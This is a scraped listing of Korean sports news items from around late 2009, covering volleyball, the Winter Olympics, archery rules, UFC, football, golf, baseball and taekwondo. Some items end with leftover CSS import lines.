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  • 김세진, 얼짱 배구선수 진혜지와 열애중

    김세진, 얼짱 배구선수 진혜지와 열애중

    전 배구스타 김세진(36) KBS N 해설위원과 얼짱 배구선수 출신 진혜지(28)가 열애 중인 것으로 알려졌다.두 사람은 배구 프런트와 해설위원으로 만나 친한 오빠 동생으로 지내다 2008~2009 시즌을 거치면서 연인관계로 발전했다. 이 커플은 비밀리에 사랑을 싹틔워 최근에는 양가 부모님들을 만나 정식으로 교제를 허락받고 관계가 진전 돼 올해 안에 결혼을 올릴 가능성도 전해져 눈길을 끈다.김세진은 197cm의 큰 키에 한국선수로는 처음으로‘월드스타’ ‘억대 스타’라는 별명을 얻으며 최고의 인기를 누린 선수다. 최근에는 배구 해설가로 변신해 선수시절의 풍부한 경험과 특유의 입담을 바탕으로 명 해설가로 이름을 날리고 있다. 진혜지는 2000년 흥국생명에 입단해 센터로 활약하다 빼어난 외모에 시상식때마다 화려한 옷을 입어 ‘코트의 슈퍼모델’로 불리며 ‘얼짱 배구선수’라는 별명으로 눈길을 끌었다. 최근에는 흥국생명 구단 프런트로 홍보를 맡고있다.사진 = 서울신문NTN DB서울신문NTN 채현주 기자 chj@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [밴쿠버 겨울올림픽]겨울올림픽 한국선수단 역대 최대규모?

    2010년 밴쿠버 겨울올림픽에 참가하는 한국선수단 규모가 역대 최대규모에 달할 전망이다. 박용성 대한체육회장은 29일 송파구 방이동 올림픽회관에서 기자회견을 갖고 “밴쿠버 겨울올림픽에 모두 7개 종목 중 5개 종목에 (한국선수가) 나가고 처음으로 출전선수가 50명을 넘을 것 같다.”고 밝혔다. 종전 겨울올림픽에서 한국 출전선수가 가장 많았던 대회는 2002년 솔트레이크시티 겨울올림픽으로, 당시 48명이 출전했다. 현재 종목별로는 스피드스케이팅이 16명, 쇼트트랙은 10명, 피겨스케이팅 2명 등 빙상에서 28명이 출전티켓을 이미 획득했다. 또 최근 봅슬레이가 최초로 올림픽 출전권을 따내면서 4명이 추가됐고 바이애슬론에서도 2명이 티켓을 획득해 34명이 확정됐다. 스키 종목은 올림픽 출전을 위한 포인트 레이스가 아직 진행중이지만 태릉선수촌은 알파인스키 4명, 스키점프 4명, 크로스컨트리 2명, 프리스타일 2명, 스노보드 2명 등 14명이 올림픽에 나갈 수 있을 것으로 예상하고 있다. 여기에 스피드스케이팅 대표팀이 팀 추월 종목에서 출전 기회를 얻으면 남녀 2명씩 4명이 늘어나게 되고 루지와 스켈레톤에서도 출전권 획득이 가능해 참가 선수가 최초로 50명을 돌파할 것으로 예상된다. 박용성 체육회장은 예상 성적에 대해선 “금메달 6개를 딸 것으로 본다.”고 밝혔다. 특히 박회장은 “스피드스케이팅에서는 역사상 첫 (금)메달을 기다리고 있다.”며 높은 기대감을 감추지 않았다. 조은지기자 zone4@seoul.co.kr
  • 박용성 KOC회장 “IOC도 이건희위원 사면 원해”

    박용성 KOC회장 “IOC도 이건희위원 사면 원해”

    박용성 대한체육회(KO C) 회장도 이건희 전 삼성그룹 회장 겸 국제올림픽위원회(IOC)위원에 대한 사면을 촉구했다. 최근 국내외 스포츠계와 경제계에서 이 전 회장에 대한 사면론이 잇따라 제기되면서 관심을 끈다. 박 회장은 7일 제5회 동아시안게임이 열리고 있는 홍콩의 한국선수단 본부에서 기자간담회를 갖고 “평창이 동계올림픽을 유치하기 위해선 이건희 IOC 위원의 역할이 중요하다.”고 밝혔다. 두산그룹과 대한체육회에 따르면 박 회장은 “최근 유럽을 돌면서 각국 IOC 위원들을 만났는데 이 위원의 사면 여부에 상당한 관심을 기울이고 있더라.”면서 “특히 IOC 고위층에서는 그동안 국제스포츠 발전에 공로가 많은 이 위원이 꼭 사면됐으면 좋겠다고 말했다.”고 전했다. 국내 체육계에서 사면을 요청한 것은 지난달 평창유치위원회 공동위원장을 맡고 있는 김진선 강원지사와 조양호 평창유치위원장에 이어 박 회장이 세번째다. 박 회장은 또 “2018년 동계올림픽이 2011년 7월 결정되는데, 공식적인 유치활동 자리는 내년 2월 밴쿠버올림픽이 사실상 유일하다.”면서 “현재 시간이 별로 없는 만큼 이 전 회장이 연말쯤에 사면돼야 밴쿠버에서 평창 유치를 위해 제대로 활동할 수 있을 것”이라고 했다. 이 전 회장이 일정 기간에 사면복권이 되지 않으면 IOC의 규정에 따라 제명될 가능성이 높다. 김경운기자 kkwoon@seoul.co.kr
  • [오늘의 경기]

    ■프로농구 ●LG-KT&G(창원) ●SK-동부(잠실학생체 이상 오후 7시) ■여자프로농구 신세계-우리은행(오후 5시 부천체) ■씨름 대학장사 군산한마당(오후 1시 군산대) ■럭비 문체부장관기 전국중고대회(오후 1시 강원도 양구종합운) ■프로배구 ●흥국생명-KT&G(오후 5시) ●대한항공-삼성화재(오후 7시 인천도원체) ■레슬링 전국종합선수권(오전 9시 안동체) ■아이스하키 코리아리그(오후 1시30분 목동링크) ■테니스 한국선수권대회(오전 9시30분 김천코트)
  • [오늘의 경기]

    ■프로농구 ●KT-삼성(부산) ●모비스-전자랜드(울산 이상 오후 7시) ■프로배구 ●도로공사-GS칼텍스(오후 5시 천안 유관순체) ●LIG-우리캐피탈(오후 7시 구미 박정희체) ■레슬링 종합선수권(오전 8시 안동체) ■테니스 한국선수권(오전 9시30분 김천코트)
  • [오늘의 경기]

    ■여자축구 WK리그 챔피언결정전 2차전 ●대교-현대제철(오후 3시 경주종합운) ■여자프로농구 ●국민은행-삼성생명(오후 5시 천안 KB인재개발원) ■테니스 한국선수권(오전 9시30분·김천코트)
  • 양궁 내년 4월 세트제 도입

    내년 4월부터 ‘세트제’라는 획기적인 양궁 경기 방식이 도입된다. 12일 국제양궁연맹(FITA)과 대한양궁협회에 따르면 지난 9월 울산 세계선수권대회 기간 중 열린 FITA 총회에서 뜻을 모은 ‘세트제’가 2010년 4월1일부터 FITA가 주관하는 모든 양궁대회에 도입된다. 양궁계는 바뀐 규정이 최강 한국에 미칠 다양한 영향에 대해 촉각을 곤두세우고 있다. 새로 도입되는 세트제는 누적점수제가 아니라 세트별 득실로 승부를 가린다는 점이 가장 큰 특징. 세트를 이기면 2점, 비기면 1점, 지면 0점을 얻는다. 기존 개인전 128~16강전에서는 1대1로 맞서 모두 12발을 쏴 누적점수로 승부를 가렸다. 하지만 세트제에서는 세트당 6발씩, 3세트로 경기가 진행된다. 모두 12발을 쏴 승부를 결정짓던 개인전 8강~결승에서는 세트당 3발씩, 최대 5세트(15발)까지 치르게 됐다. 단체전에서는 기존 3명이 엔드당 2발씩, 4엔드 동안 모두 24발로 승부를 가렸지만, 세트제에서는 한 명이 세트당 한 발씩 4세트(12발)를 치른다. FITA가 경기 방식을 변경한 이유는 경기를 좀더 극적으로 재미있게 이끌자는 취지에서다. 현행 방식은 초반 한순간의 실수로 승부가 판가름나는 경우가 많았다. 세트제 개인전은 12발에서 18발로 늘어나 초반 실수를 범하더라도 다음 세트에서 역전할 기회를 준다는 측면이 있다. 24발에서 12발로 준 단체전은 강한 집중력이 요구되는 만큼 한국에 큰 변화는 없을 것으로 분석됐다. 한편에서는 FITA가 한국의 독주를 견제하기 위해 규정을 변경했다는 얘기도 나온다. 한국선수는 자세가 안정돼 초반 실수를 거의 범하지 않지만 외국 선수들은 초반 실수가 나오는 경우가 많기 때문. FITA는 2년 전 베이징올림픽을 8개월여 앞두고 개인·단체전 모두 화살수를 줄이는 방식으로 규정을 변경한 바 있다. 당시 한국 흔들기에 대한 우려의 목소리가 높았다. 실제로 한국은 베이징올림픽 여자 개인전 금메달을 중국의 장쥐안쥐안에게 내줬다. 한국은 당장 내년 11월 광저우 아시안게임에 대비해야 한다. 협회는 다음달 국내 지도자들을 대상으로 세미나를 열어 대책을 논의할 예정이다. 협회 서거원 전무는 “국제연맹이 흥미유발을 위해 규정을 바꿨다지만 한국을 견제하려는 속뜻을 포함하고 있다고 본다.”면서 “내년 초 아시안게임에 대비한 국가대표 선발전부터 새 규정을 도입하는 등 철저히 대비하겠다.”고 밝혔다. 황비웅기자 stylist@seoul.co.kr
  • UFC팬 55% “데니스강, 비스핑에 패배”

    UFC팬 55% “데니스강, 비스핑에 패배”

    격투기 팬들이 UFC105에 출전하는 ‘슈퍼코리언’ 데니스 강(31·캐나다)의 패배를 예상했다. 오는 14일(현지시간) 경기를 앞두고 UFC 홈페이지에서 진행 중인 예상 투표에서 데니스 강의 승리를 예상하는 네티즌은 12일 오전 현재 참여자의 44.8%로 상대인 마이클 비스핑(30·영국)을 선택한 네티즌보다 적게 나타났다. 그러나 차이가 크지 않아 팬들의 예상이 한쪽으로 치우치지는 않은 것으로 볼 수 있다. 네티즌 55.2%가 승리를 점친 비스핑은 이번 UFC105 대회가 열리는 영국 출신 파이터. 영국에서 킥복싱 챔피언과 현지 종합격투기 이벤트 ‘케이지레이지’ 챔피언을 거친 인기 선수다. 언론의 예상은 엇갈렸다. ‘ESPN댈러스’는 데니스 강의 1라운드 서브미션 기술에 의한 TKO승을 예상했고 격투기 사이트 ‘MMA 포 리얼’(MMA for Real)은 비스핑의 판정승을 점쳤다. UFC 홈페이지의 투표결과에 따르면 이번 UFC105 메인이벤트인 ‘전설’ 랜디 커투어와 브랜든 베라의 경기는 네티즌 69.9%가 커투어의 승리를 예상했다. 한국선수 김동현이 부상으로 빠지면서 만나게 된 마이크 스윅과 댄 하디의 대결에서는 스윅의 승리를 예상하는 네티즌이 76.6%로 많았다. 사진=마이클 비스핑(왼쪽 사진)과 데니스 강 서울신문 나우뉴스 박성조기자 voicechord@seoul.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 이청용, EPL 선정 10월 마지막주 ‘베스트11’ 한국인 세번째

    이청용, EPL 선정 10월 마지막주 ‘베스트11’ 한국인 세번째

    ’블루 드래곤’ 이청용(21·볼턴)이 잉글랜드 프리미어리그(EPL)가 공식 선정한 10월 마지막 주 베스트11에 뒤늦게 뽑혔다. 한국선수가 EPL 공식 베스트11에 뽑힌 것은 설기현(풀럼), 박지성(맨체스터 유나이티드)에 이어 세번째다 이청용은 EPL 인터넷 홈페이지(www.premierleague.com)가 공식 통계인 액팀 지수를 인용해 발표한 10월 마지막 주(EPL 9주차) ‘팀 오브 더 위크’(Team Of The Week)에서 한 주를 빛낸 왼쪽 미드필더로 선정돼 에시엔, 램파드, 드록바(이상 첼시) 등과 함께 이름을 올렸다 지난 8월 EPL에 입성한 이청용이 영국 언론이 선정한 주간 베스트11에 오른 적은 있지만 프리미어리그 공식 사이트가 뽑은 주간 베스트11에 오른 것은 이번이 처음이다. 한국선수로는 2006년 11월 설기현이 레딩 소속으로 첫 테이프를 끊었고, 2007년 3월 박지성이 뒤를 이었다. 프리미어리그 주간 베스트11은 EPL 공식 기구가 선정하는데다, 객관적인 통계수치를 기반으로 한 것이어서 여느 영국 언론이 뽑은 베스트11과는 차이가 있다 EPL은 지난달 25일 에버턴전에서 3-2 승리를 이끄는 첫 골을 터뜨린 이청용의 활약에 높은 점수를 줬다. 주간 액팀 지수는 31점이었으며 10월 마지막 주 경기까지 누적해 얻은 액팀 선수 랭킹은 EPL 등록선수 692명 중 154위였다. 기사제휴=스포츠서울@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 골프 국가대표 한창원 마스터스 출전권 획득

    골프 남자국가대표 한창원(18·대전체고)이 내년 ‘꿈의 골프제전’으로 불리는 마스터스골프선수권대회 출전권을 따냈다. 한창원은 1일 중국 선전의 미션힐스골프장(파72·7149야드)에서 열린 아시안 아마추어골프챔피언십 4라운드에서 2언더파 70타를 쳐 최종합계 12언더파 276타로 우승했다. 이로써 2010년 마스터스 본선과 브리티시오픈 최종 예선에 직행할 수 있게 됐다. 이 대회는 아시아지역의 골프 발전을 위해 아시아태평양골프연맹(APGC)과 영국왕립골프협회(R&A)가 파트너십을 맺고 올해 처음 열렸다. 한창원은 지난 9월 제24회 아시아·태평양 아마추어팀선수권대회 개인전과 단체전을 석권한 선수. 준우승을 차지한 전재한은 선수생활을 하던 2006년 중산외고 2학년 당시 미국으로 건너가 현재 노스웨스턴대학에 다니는 선수다. 국가대표인 김민휘(17·신성고)는 6언더파 282타로 3위에 올라 한국선수 3명이 대회 상위권을 휩쓸었다. 최병규기자 cbk91065@seoul.co.kr
  • [월드시리즈]박찬호 마침내 꿈의 무대에

    박찬호(36·필라델피아)가 생애 처음으로 꿈의 월드시리즈 무대를 밟았다. 한국선수로는 2001년 애리조나 소속으로 우승 반지를 낀 김병현(30)에 이어 두 번째다. 박찬호는 30일 뉴 양키스타디움에서 열린 뉴욕 양키스와의 미프로야구 월드시리즈(7전4선승제) 원정 2차전에서 두 번째 투수로 등판, 두 타자를 상대로 각 1타점 적시타와 탈삼진을 기록했다. 1994년 LA 다저스에 입단한 박찬호는 이로써 데뷔 15년 만에 다섯 번째 팀에서 월드시리즈 마운드를 밟는 감격을 맛봤다. 2006년 샌디에이고 소속으로 디비전시리즈에 등판, 포스트시즌에 처음 출전했고 지난해 다저스 소속으로 내셔널리그 챔피언십에서 필라델피아를 넘지 못해 주저앉았다. 그러나 필라델피아 소속이 된 올해 월드시리즈 등판의 꿈을 이뤘다. 1-2로 뒤진 7회말 무사 1·3루의 위기에서 선발 페드로 마르티네스에 이어 두 번째 투수로 마운드에 오른 박찬호는 대타 호르헤 포사다와 맞섰다. 볼 카운트 2-1에서 4구째 147㎞짜리 바깥쪽 싱커를 던졌으나 중전 안타를 허용, 1실점했다. 박찬호는 이어 ‘캡틴’ 데릭 지터를 스리 번트 삼진으로 돌려세운 뒤 스콧 아이어와 교체됐다. 계속된 1사 1·2루에서 아이어가 조니 데이먼을 병살타로 유도해 박찬호의 자책점은 기록되지 않았다. 박찬호는 7개의 공을 뿌렸고 최고 구속은 148㎞를 찍었다. ‘악의 제국’ 양키스는 필라델피아에 3-1로 역전승, 시리즈 1승1패로 동률을 이뤘다. 양키스는 2회초 2사 2루에서 상대 맷 스테어스에게 적시타를 얻어맞아 선취점을 내줬다. 그러나 4회 마크 테세이라, 6회 일본인 타자 마쓰이 히데키의 솔로포로 2-1 역전에 성공했다. 양키스는 7회에도 포사다의 적시타로 1점을 보태 승리를 매조졌다. 3차전은 1일 필라델피아의 시티즌스 뱅크 파크에서 열린다. 손원천기자 angler@seoul.co.kr
  • [하나은행-코오롱 챔피언십] LPGA 미녀골퍼들 “김치 직접 담갔어요”

    [하나은행-코오롱 챔피언십] LPGA 미녀골퍼들 “김치 직접 담갔어요”

    “김치를 직접 담가 보니 너무 재미있어요.” 30일 개막하는 미여자프로골프(LPGA) 투어 하나은행-코오롱 챔피언십에 출전하기 위해 한국을 찾은 미녀 골퍼들이 한국 김치에 대한 강의도 듣고, 직접 김치를 담그며 즐거운 시간을 보냈다. 캐서린 헐(호주), 니콜 카스트랄리(미국), 한국계 비키 허스트(미국) 등은 28일 경기 구세군 과천 양로원에서 최나연(22·SK텔레콤), 지은희(23·휠라코리아), 허미정(20·코오롱) 등 한국선수들과 함께 김치 500여포기를 직접 담갔다. 이들은 불우한 노인들에게 직접 담근 김치와 쌀·내의 등을 선물하는 자원봉사 활동도 펼쳤다. 헐은 “LPGA 투어에서 한국 선수들이 선전하는 힘의 원천은 김치 때문인 것 같다.”면서 김치가 독감을 예방한다는 대목에서는 “김치가 독감을 예방한다니 꼭 도전해 보겠다.”고 말해 주위의 웃음을 자아냈다. 카스트랄리도 “미국에서 투어 기간 중 한국 선수들과 친하게 지내면서 김치찌개를 먹어본 적도 있다. 앞으로 김치 홍보대사가 될 것 같다.”고 말해 박수를 받았다. 황비웅기자 stylist@seoul.co.kr
  • [스포츠 라운지]태권도선수권 남자핀급 4회 우승

    [스포츠 라운지]태권도선수권 남자핀급 4회 우승

    │코펜하겐 임일영특파원│ 눈은 퀭했고 안색은 창백했다. 부러진 오른 손등과 왼손 새끼손가락에 응급 처치를 했지만, 후벼파듯 쑤셔오는 통증 탓에 가끔씩 얼굴을 찡그렸다. 제19회 세계태권도선수권대회 남자 핀급(54㎏이하)에서 4회 우승에 성공한 최연호(28·한국가스공사)에 대한 첫 인상은 안쓰러움이었다. 운동 선수에게 부상은 ‘그림자’나 다름없다. 하지만 그처럼 질긴 악연을 가진 선수도 많지 않다. 지난해 4월 중국 정저우에서 열린 아시아선수권. 필리핀 선수와의 준결승 1라운드에서 상대와 무릎을 부딪혔다. 간신히 일어섰지만 감각은 없었다. 후들거리는 다리를 끌고 3-2로 이겼다. 결승은 뛸 수 없었다. ●부상도 그를 막을순 없다 병원 소견은 왼쪽 무릎 전방 십자인대와 외측 연골판 파열, 내측 인대 부분 손상. 더 심했다면 선수 생활이 끝날 수도 있었다. 국군체육부대 소속이던 최연호는 군병원에서 수술을 받고 그해 8월 의가사제대를 했다. 수술 뒤 2주 만에 퇴원했지만 이후가 더 힘들었다. “굳은 다리를 물리치료사가 억지로 움직이는 순간 당하지 않은 사람은 절대 이해 못하죠. ‘악’소리가 절로 납니다. 이대로 끝나는 게 아닐까란 생각이 하루에 수십번도 더 들었죠.” 재활은 8개월이나 이어졌다. 하지만 “어차피 잊어야할 일이라면 빨리 잊자.”는 낙천적 사고방식을 지닌 최연호를 막을 순 없었다. 올해 첫날 소속팀 가스공사에 복귀했다. 지금도 그의 왼쪽 무릎에는 3개의 핀이 박혀있다. 운동을 하는 동안은 놔두는 게 낫다는 권고에 따른 것. 근육을 잡아주는 핀들은 나태해질 때마다 그의 마음을 조이는 고마운 존재가 됐다. ●“불행하다고? 천만에…” 세계태권도선수권에서 4회 이상 우승한 선수는 미국의 스티븐 로페즈(5회)와 정국현 한국체대 교수, 최연호(이상 4회) 등 3명뿐. 최연호가 첫 우승을 차지한 때는 2001년 제주 세계대회에서다. 10년 가까이 체중 감량의 부담이 가장 큰 핀급 정상을 지킨 셈이어서 더 놀랍다. 하지만 그는 아시안게임과 올림픽은 구경도 못한 불행한 선수다. 다른 종목이라면, 다른 나라였다면 상상도 못 할 일이다. ‘종주국’의 메달 독식을 막기 위한 룰 때문에 생긴 일이다. 남녀 각 4체급이 있는 올림픽의 출전 쿼터는 나라별로 2체급씩. 한국은 출전 체급을 선택할 때마다 번번이 58㎏급을 제외했다. 종주국의 자존심과 상징성 때문에 최중량급인 80㎏ 이상급을 먼저 고른 뒤 나머지 체급을 고르다보니 돌발변수가 많은 경량급은 제외된 것. 아시안게임도 마찬가지였다. 8체급 중 6체급을 고를 수 있지만 2006 도하대회에서 핀급은 빠졌다. “한국선수라 불행한 천재라는 평가도 있다.”고 물었다. 하지만 담담했다. “한국에서 나지 않았으면 태권도도 안 했겠죠. 태권도를 할 수 있는 것만으로 행복한데요.”라고 했다. 초등학교 4학년 때 몸이 왜소하고 약해 어머니의 권유로 시작한 태권도가 평생의 ‘업’이 됐다. 감량의 고통은 하루가 다르게 심해진다. 평소 60~61㎏인 체중을 대회 3주 전부터 뺀다. 섭취량을 3분의2로, 다시 3분의1로 줄인 뒤 1주일 전부터 하루에 사과 반조각과 물만 먹는다. 은퇴를 생각할 나이다. “힘들죠. 그래도 하기 나름인 것 같아요. 술 못 먹는 게 집안 내력이라 도움될 때도 있고요.”라며 웃었다. 세계선수권 5회 우승과 아시안게임·올림픽 제패의 세마리 토끼를 잡으려면 3년은 더 ‘고행’을 반복해야 한다. 여자친구와의 ‘미래’도 은퇴 뒤로 미뤘다. 2012년 런던올림픽 때 시상대 위에서 활짝 웃는 그의 모습이 기대된다. 글 사진 argus@seoul.co.kr ▲출생 1981년 5월4일 충북 제천 ▲가족 최종연(58)씨와 홍재경(53)씨의 3남 중 둘째 ▲체격 170㎝, 61㎏ ▲학력 광주 상무초-상무중-문성고-조선대-조선대대학원 ▲별명 송장(체중감량 탓에 식음을 전폐하고 누워있는 시간이 많아서) ▲좌우명 근육은 정신과 함께 사용할수록 더욱 강해진다 ▲종교 기독교 ▲경력 2001·03·07·09년 세계선수권 1위, 2006년 월드컵선수권 1위, 2004년 아시아선수권 1위·2008년 2위
  • [태권도세계선수권] 남윤배 또 울었다

    │코펜하겐 임일영특파원│ 2004년 아테네올림픽이 끝난 뒤 ‘깜짝스타’로 떠오른 태권도 남자 헤비급의 간판 문대성(IOC 선수위원)은 곧 은퇴를 선언했다. ‘남자태권도의 꽃’이라는 헤비급도 무주공산이 됐다. 당시 ‘문대성의 후계자’로 가장 먼저 주목을 받은 선수가 남윤배(22·한국가스공사)였다. 2006년 아시아선수권과 월드컵을 제패하더니 2007년 베이징 세계선수권 준결승에서 말리의 다바 모디보 케이타에게 패했지만, 가능성을 확인했다. 상대가 ‘10년을 지배할 선수’라는 평가를 받던 케이타였기에 남윤배에 대한 기대치는 더욱 높아졌다. 하지만 베이징올림픽 대표선발전에서 친구 차동민(한국가스공사)에게 밀렸다. 차동민이 올림픽 금메달리스트가 되는 것을 지켜보며 절치부심의 날들을 보낸 그는 세계선수권 대표 최종선발전에서 차동민을 제치고 태극마크를 달았다. 15일 오전(한국시간) 덴마크 코펜하겐 벨라호프 슈퍼아레나에서 열린 19회 세계선수권 남자 87㎏ 이상급 결승전. ‘말리의 국민영웅’ 반열에 오른 케이타를 만난 남윤배는 긴장한 빛이 역력했다. 자신보다 20㎝ 이상 큰 210㎝의 거구 케이타는 가만히 서 있어도 껄끄러운 상대였다. 출발은 좋았다. 시작과 함께 오른발 몸통 공격이 성공한 것. 하지만 1라운드 막판 거푸 몸통 공격을 허용한 데 이어 경고 누적까지 겹쳐 불과 10여초 만에 내리 3점을 줬다. 2라운드는 난타전 끝에 3-5로 마쳤다. 3라운드 종료 3초 전 1점을 쫓아갔지만 조금 늦었다. 결국 4-5로 아깝게 패했지만, 남윤배는 첫날 한국선수단에 값진 은메달을 안겼다. 한편 ‘최강 태권도 가문’인 로페스가(家)의 둘째 스티븐(미국)은 태권도 역사를 고쳐 썼다. 남자 80㎏급(웰터급) 결승에서 스페인의 가르시아 헤멘에게 우세승을 거둬 사상 첫 5연패를 달성한 것. 준결승과 결승 모두 우세를 점하지 못했지만 심판들은 최고 스타인 로페스에게 후했다. 2001년 제주대회에서 라이트급 챔피언에 오른 뒤 2003년 독일 가미쉬대회부터 체급을 올려 내리 4연패. 정국현(1982·83·85·87) 한국체대 교수의 4연패 기록을 넘어 전인미답의 고지에 오른 셈이다. argus@seoul.co.kr
  • 올시즌 日퍼시픽리그 주요 타이틀 홀더는?

    올시즌 日퍼시픽리그 주요 타이틀 홀더는?

    올시즌 퍼시픽리그 우승을 차지한 니혼햄 파이터스는 ‘천신만고’ 라는 단어가 어울릴법 했다. 8월 중순 찾아온 신종플루 집단발병으로 한바탕 홍역을 치뤘기 때문이다. 후쿠라 준이치 코치와 포수 오노 소토를 시작으로 주력선수들인 카나모리 타카유키, 미야니시 히사오 등이 감염이 확인돼 격리조치됐고 잠복기에 따른 추가감염의 피해에 치를 떨었었다. 하지만 이러한 우여곡절도 니혼햄의 우승도전은 막지 못했다. 결국 니혼햄은 2위 라쿠텐 골든 이글스를 5.5게임차로 따돌리고 우승을 차지했고 나시다 마사타카 감독은 2011년까지 계약연장에 성공했다. 임창용을 포함한 한국선수들이 모두 센트럴리그에서 활약하고 있는 관계로 상대적으로 소외된 리그지만, 어쩌면 내년시즌 국내 선수들 중 퍼시픽리그에서 뛸수도 있는 상황인지라 관심을 가져보는것도 좋을 것이다. 올시즌 퍼시픽리그의 주요부문 타이틀 주인공을 살펴보자. 타율 1위- 츠치야 텟페이(라쿠텐) 라쿠텐의 외야수 츠치야 텟페이가 타율 .327로 리그 타율 1위를 기록했다. 최근 2년간 단 한번도 3할타율을 기록한 적이 없는 텟페이는 올시즌 496타수 162안타를 쳐내며 이부문 처음 타이틀 홀더의 주인공이 됐다. 작년까지만 해도 주로 1번타자 역할을 수행했지만 올시즌 기량이 일취월장해 팀의 3번타순에 들어서며 베테랑 4번타자인 야마사키 타케시의 타점 쓸어담기의 원인제공 임무를 충실히 수행해냈다. 올시즌 퍼시픽리그에서 3할 이상을 기록한 타자는 총 10명으로 라쿠텐 소속으로는 쿠사노 다이스케가 텟페이와 함께 그 이름을 올렸다. 작년시즌 이부문 1위는 외국인 타자 릭 쇼트(.332)가 차지했다. 홈런왕- 나카무라 타케야(세이부) 나카무라가 작년에 이어 2년연속 퍼시픽리그 홈런왕에 올랐다. 나카무라는 올시즌 48개의 홈런포를 쏘아올리며 작년시즌 홈런이 ‘공갈포’가 아니었음을 증명했는데, 올시즌엔 한단계 진일보한 타격실력까지 선보이며 이제 확실한 ‘오카와리 군(한그릇 더)’의 면모를 보여줬다. 작년시즌 나카무라는 46홈런을 쳐냈지만 타율은 .244에 불과했다. 뿐만 아니라 삼진 역시 162개를 당할 정도로 극과 극의 타격스타일로 그 홈런이 평가절하된 면이 있었지만 올해엔 타율 .285를 기록하며 약점이던 몸쪽 변화구에 호락호락 당하지 않으면서 점점 정교함까지 갖추어가고 있는 느낌이다. 8월말 쯤 찾아온 부상으로 인해 올시즌 128경기만 출전하고도 48개의 홈런포를 생산한 나카무라의 내년시즌 목표는 일본프로야구 한시즌 최다홈런 기록이다.(왕정치, 터피 로즈, 알렉스 카브레라의 55홈런) 이부문 2위는 라쿠텐의 야마사키 타케시(39개)다. 올시즌 퍼시픽리그에서 30홈런 이상을 쏘아올린 선수는 단 2명뿐이다. 타점왕- 나카무라 타케야(세이부) 나카무라가 홈런왕과 타점왕을 동시에 차지하며 2관왕에 올랐다. 올시즌 나카무라의 타점 생산능력은 타의 추종을 불허할만큼 압도적인 생산력을 보여줬는데 양리그 통털어 가장 많은 122타점이다. 이부문 2위 역시 홈런왕과 마찬가지로 야마사키 타케시가 107타점을 기록하며 나카무라 뒤에 포진했다. 퍼시픽리그에선 역시 홈런왕과 마찬가지로 올시즌 100타점 이상을 기록한 타자는 이들뿐이다. 신(나카무라)구(야마사키) 거포들간의 타이틀 경쟁은 2007년 홈런왕-타점왕을 차지했던 야마사키의 패로 끝났지만 그가 보여준 노장 투혼은 올시즌 팬들의 마음을 뜨겁게 했다. 출루율 1위- 나카지마 히로유키(세이부) & 장타율 1위- 나카무라 타케야(세이부) 지난 월드 베이스볼 클래식(WBC) 한국과의 결승전에서 더티한 플레이로 국내팬들의 질타를 받았던 나카지마가 .398의 출루율로 이부문 1위에 올랐다. 올시즌 나카지마는 출루율 뿐만 아니라 타율 .309-22홈런-20도루를 기록하며 호타준족의 상징인 ‘20-20 클럽’과 3할 타율도 동시에 달성했다. ’3할, 20-20’ 기록은 올시즌 양리그 통틀어 나카지마가 유일하며 ‘20-20’ 기록 역시 그를 제외하곤 아무도 기록하지 못했다. 나카지마는 작년시즌에도 타율 .332와 ‘홈런21-도루25개’를 올린 바 있다. 장타율은 예상대로 나카무라의 차지다. 나카무라는 올시즌 양리그 통털어 유일하게 6할 장타율(.651)을 기록하며 일본의 대표적인 슬러거로서의 입지를 탄탄히 했다. 이부문 2위는 재일교포인 치바 롯데 마린스의 오무라 사부로(.534)다. 다승왕- 와쿠이 히데아키(세이부) 다승왕은 세이부의 우완 에이스인 와쿠이 히데아키가 16승(6패, 평균자책점 2.30)을 기록하며 차지했다. 와쿠이는 150km를 상회하는 포심 패스트볼의 위력과 포크볼을 주무기로 하는 다양한 변화구를 선보이며 지난 2007년 다승왕(17승) 수상 이후 2년만에 다승왕 타이틀을 탈환했다. 와쿠이는 마쓰자카 다이스케(보스턴)의 고교후배로서 세이부 입단 후 그의 공백을 느낄수 없을만큼의 멋진 피칭을 해년마다 보여주고 있다. 특히 포크볼, 커터, 슬라이더, 체인지업, 커브, 싱커 등 못던지는 구종이 없을만큼 변화구 구사력이 뛰어난데 그의 피칭을 보고 있으면 한국의 윤석민(KIA)이 자연스럽게 떠오른다. 와쿠이는 리그에서 유일하게 200이닝(211.2이닝)이상을 던지며 변함없는 이닝이터로서의 능력을 과시했는데 비록 팀은 포스트시즌 진출에 실패했지만 와쿠이가 지키는 세이부의 마운드 높이는 내년에도 변함이 없을듯 보인다. 평균자책점 1위- 다르빗슈 유(니혼햄) & 세이브 1위- 타케다 히사시(니혼햄) 2007년 사와무라상에 빛나는 다르빗슈가 올시즌 1.73의 평균자책점으로 이부문 1위를 차지했다. 평균자책점 1점대는 퍼시픽리그에서 다르빗슈가 유일하다. 올시즌 다르빗슈는 23경기(182이닝)에 등판해 15승(8완투) 5패를 기록하며 3년연속 1점대 평균자책점이라는 놀라운 능력을 보여줬다. 강력한 포심 패스트볼과 바깥쪽 핀 포인트를 걸치는 제구력, 그리고 승부구로 던지는 슬라이더의 위력은 올시즌 리그 우승의 절대적인 힘이었다. 세이브 1위는 34세이브를 올린 타케다다. 타케다는 올시즌 55경기에 등판해 리그 마무리중 가장 뛰어난 평균자책점(1.20)을 기록하며 선발투수들의 승리를 지켜냈다. 올시즌 퍼시픽리그는 만년 하위권인 라쿠텐 골든 이글스의 분전, 그리고 작년 일본시리즈 우승팀인 세이부 라이온스의 탈락이 가장 큰 이변으로 손꼽힌다. 또한 타이틀을 차지할만한 선수들이 모두 주인공으로 이름을 올리고 있어 내년시즌엔 어떠한 선수들이 각부문 타이틀 홀더에 도전할지도 흥미꺼리다. 한편 퍼시픽리그는 16일 2위 라쿠텐 골든 이글스와 3위 소프트뱅크 호크스와 클라이맥스 시리즈 스테이지1 을 시작으로 포스트 시즌에 돌입한다. 서울신문 나우뉴스 해외야구통신원 윤석구 http://hitting.kr/@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [LPGA] 지존 신지애 여제등극 ‘빅 찬스’

